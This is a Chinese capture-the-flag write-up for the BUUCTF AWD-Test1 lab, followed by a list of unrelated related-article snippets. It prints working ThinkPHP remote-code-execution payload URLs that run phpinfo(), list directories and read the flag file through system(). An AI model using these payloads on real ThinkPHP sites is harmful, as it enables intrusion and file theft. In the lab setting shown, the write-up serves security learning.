BUUCTF AWD-Test1
打开靶场是这个有些简陋的界面。
随便点点，找到这个东西。
看到ThinkPHP，思路瞬间清晰，老熟人了。这个就是ThinkPHP漏洞。根据版本我们去找一下poc。
/index.php/?s=Index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
成功打开phpinfo界面。
查看目录
/index.php/?s=Index/\think\View/display&content="<?><?php%20system(%27ls%20/../%27);?>&data=1
找到flag了，抓取。
/index.php/?s=Index/\think\View/display&content="<?><?php%20system(%27cat%20/../flag%27);?>&data=1
防止有些新朋友不明白POC怎么来的，简短介绍一下。
这poc的意思是在URL中发送了一个参数 s。Index/\think\View/display在ThinkPHP框架中，这会被解释为对视图进行显示的操作。content是包含php代码的字符串，其中是执行的恶意代码。
相关文章：
BUUCTF AWD-Test1
打开靶场是这个有些简陋的界面。 随便点点，找到这个东西。 看到ThinkPHP，思路瞬间清晰，老熟人了。这个就是ThinkPHP漏洞。根据版本我们去找一下poc。 /index.php/?sIndex/\think\View/display&content%22%3C?%3E%3C?php%20phpinfo();…...
百亿诈骗案频出，欧科云链用“技术责任”拓宽Web3安全边界
2022年12月1日，《中华人民共和国反电信网络诈骗法》正式实施，中国正式迈入“全民反诈时代”。据CNNIC和智研咨询统计显示，截至2021年12月，国内网民遭遇网络诈骗比例为16.6%，数千万人深受网络诈骗的危害。 以新兴技术区…...
一个实时波形图的封装demo（QT）（qcustomplot）
前言： 封装的一个实时波形图的类，可以直接提升使用。 提供了接口，可以更改颜色，样式，等等 参考： Qt Plotting Widget QCustomPlot - Introduction 另外参考了一个大神的作品，链接没找到。 项目…...
Java进阶-反射
来学习一下Java的反射，通过Class实例获取class信息的方法称为反射（Reflection），内容如下 一、反射机制 1、概述 在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一…...
力扣180 连续出现的数字
如何有效地识别在数据库中至少连续出现三次的数字？ 目录 题目描述 解题思路 完整代码 进一步探索 题目描述 表：Logs ---------------------- | Column Name | Type | ---------------------- | id | int | | num | varch…...
C++面试 -操作系统-架构能力：内存问题分析与性能优化
内存问题分析： 内存泄漏： 描述什么是内存泄漏，以及它如何在 C 中发生。使用工具（如 Valgrind、AddressSanitizer）来检测和定位内存泄漏。如何预防内存泄漏？使用智能指针、正确释放资源等。 野指针和悬挂指针…...
基于springboot+vue的共享汽车管理系统(前后端分离)
博主主页：猫头鹰源码 博主简介：Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战，欢迎高校老师\讲师\同行交流合作 主要内容：毕业设计(Javaweb项目|小程序|Pyt…...
)
All Roads Lead to Rome (30)
1、题目： Indeed there are many different tourist routes from our city to Rome. You are supposed to find your clients the route with the least cost while gaining the most happiness. Input Specification: Each input file contains one test case. For…...
（四）)
GO语言学习笔记(与Java的比较学习)（四）
结构体 一个结构体（struct）就是一组字段（field）。 package main import "fmt" type Vertex struct {X intY int } func main() {fmt.Println(Vertex{1, 2}) } 结构体中的字段用 . 访问 package main im…...
在实训云平台上配置云主机
文章目录 零、学习目标一、实训云升级二、实训云登录（一）登录实训云（二）切换界面语言（三）规划云主机实例 三、创建网络三、创建路由器2024-2-29更新到此四、添加接口五、创建端口六、添加安全组规则七、创建…...
什么是隔离式栅极驱动器？
在电子设备领域，“驱动”一词占据着至关重要的地位，充当推动信号、控制和电源的力量。这个复杂世界中的一个重要组件是隔离式栅极驱动器，这项技术在确保各种电子系统高效、安全运行方面发挥着关键作用。 什么是栅极驱动器？ 从本质…...
蓝桥杯算法赛 第 6 场 小白入门赛 解题报告 | 珂学家 | 简单场 + 元宵节日快乐
前言 整体评价 因为适逢元宵节，所以这场以娱乐为主。 A. 元宵节快乐 题型: 签到 节日快乐，出题人也说出来自己的心愿, 祝大家AK快乐! import java.util.Scanner;public class Main {public static void main(String[] args) {System.out.println(&qu…...
附加Numpy数组
参考：Append Numpy Array 引言 在数据科学和机器学习领域，处理大规模数据集是一项重要且常见的任务。为了高效地处理数据，numpy是一个非常强大的Python库。本文将详细介绍numpy中的一个重要操作，即如何附加（append&a…...
收银系统源码-智慧新零售,ERP进销存功能详解
智慧新零售是一套线下线上一体化的收银系统，不仅给门店线下提供了多样化的收款方式，还提供了和线下深度打通的线上小程序商城。有线下又有线上自然需要一套完整的进销存模块能高效的管理商品。 智慧新零售进销存功能涵盖了商品的采购、销售、调拨、盘点…...
STM32使用PB3, PB4引脚的注意事项
STM32的PB3, PB4引脚作为GPIO引脚需要注意，因为他们默认分别是JTDO和NJTRST引脚。 笔者在设计可调增益增益放大器（VGA）的时候，使用4个GPIO读取外部控制电压，根据约定的编码格式设定DAC的输出电压，从而设置V…...
OSCP靶场--DVR4
OSCP靶场–DVR4 考点(1.windows：路径遍历获取私钥getshell 2.ssh shell中runas切换用户) 1.nmap扫描 ┌──(root㉿kali)-[~/Desktop] └─# nmap -sV -sC -p- 192.168.161.179 --min-rate 2000 Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-29 07:14 EST…...
【嵌入式——QT】日期与定时器
日期 QTime：时间数据类型，仅表示时间，如 16:16:16；QDate：日期数据类型，仅表示日期，如2024-1-22；QDateTime：日期时间数据类型，表示日期和时间，如2…...
如何决定使用HashMap还是TreeMap?
使用 HashMap 还是 TreeMap 取决于你的需求和对数据结构的理解。 HashMap： 快速插入和查找：HashMap 提供了常数时间（O(1)）的插入和查找操作，因此对于需要快速插入和查找的场景非常适用。无序性：HashMap 不保…...
平台工程与安全
平台工程不是为了取代DevOps，而是DevOps的进一步演进和发展。本文介绍了DevOps和平台工程，以及对于安全的意义。原文: Platform Engineering and Security: A Very Short Introduction 中国云南大理的日落 我是一名 DevOps 工程师，个人还是希…...
智能咖啡厅助手：人形机器人 +融合大模型，行为驱动的智能咖啡厅机器人(机器人大模型与具身智能挑战赛)
智能咖啡厅助手：人形机器人 融合大模型，行为驱动的智能咖啡厅机器人(机器人大模型与具身智能挑战赛) “机器人大模型与具身智能挑战赛”的参赛作品。的目标是结合前沿的大模型技术和具身智能技术，开发能在模拟的咖啡厅场景中承担服务员角色并…...
日语AI面试高效通关秘籍：专业解读与青柚面试智能助攻
在如今就业市场竞争日益激烈的背景下，越来越多的求职者将目光投向了日本及中日双语岗位。但是，一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧？面对生疏的日语交流环境，即便提前恶补了…...
)
Java 语言特性(面试系列2)
一、SQL 基础 1. 复杂查询 （1）连接查询（JOIN） 内连接（INNER JOIN）：返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...
8k长序列建模，蛋白质语言模型Prot42仅利用目标蛋白序列即可生成高亲和力结合剂
蛋白质结合剂（如抗体、抑制肽）在疾病诊断、成像分析及靶向药物递送等关键场景中发挥着不可替代的作用。传统上，高特异性蛋白质结合剂的开发高度依赖噬菌体展示、定向进化等实验技术，但这类方法普遍面临资源消耗巨大、研发周期冗长…...
OkHttp 中实现断点续传 demo
在 OkHttp 中实现断点续传主要通过以下步骤完成，核心是利用 HTTP 协议的 Range 请求头指定下载范围： 实现原理 Range 请求头：向服务器请求文件的特定字节范围（如 Range: bytes1024-） 本地文件记录：保存已…...
Linux云原生安全：零信任架构与机密计算
Linux云原生安全：零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言：云原生安全的范式革命 随着云原生技术的普及，安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测，到2025年，零信任架构将成为超…...
安宝特方案丨船舶智造的“AR+AI+作业标准化管理解决方案”（装配）
船舶制造装配管理现状：装配工作依赖人工经验，装配工人凭借长期实践积累的操作技巧完成零部件组装。企业通常制定了装配作业指导书，但在实际执行中，工人对指导书的理解和遵循程度参差不齐。 船舶装配过程中的挑战与需求 挑战 (1…...
腾讯云V3签名
想要接入腾讯云的Api，必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口，但总是卡在签名这一步，最后放弃选择SDK，这次终于自己代码实现。 可能腾讯云翻新了接口文档，现在阅读起来，清晰了很多&…...
三分算法与DeepSeek辅助证明是单峰函数
前置 单峰函数有唯一的最大值，最大值左侧的数值严格单调递增，最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值，最小值左侧的数值严格单调递减，最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...
tauri项目，如何在rust端读取电脑环境变量
如果想在前端通过调用来获取环境变量的值，可以通过标准的依赖： std::env::var(name).ok() 想在前端通过调用来获取，可以写一个command函数： #[tauri::command] pub fn get_env_var(name: String) -> Result<String, Stri…...
阿里云Ubuntu 22.04 64位搭建Flask流程（亲测）
cd /home 进入home盘 安装虚拟环境： 1、安装virtualenv pip install virtualenv 2.创建新的虚拟环境： virtualenv myenv 3、激活虚拟环境（激活环境可以在当前环境下安装包） source myenv/bin/activate 此时，终端…...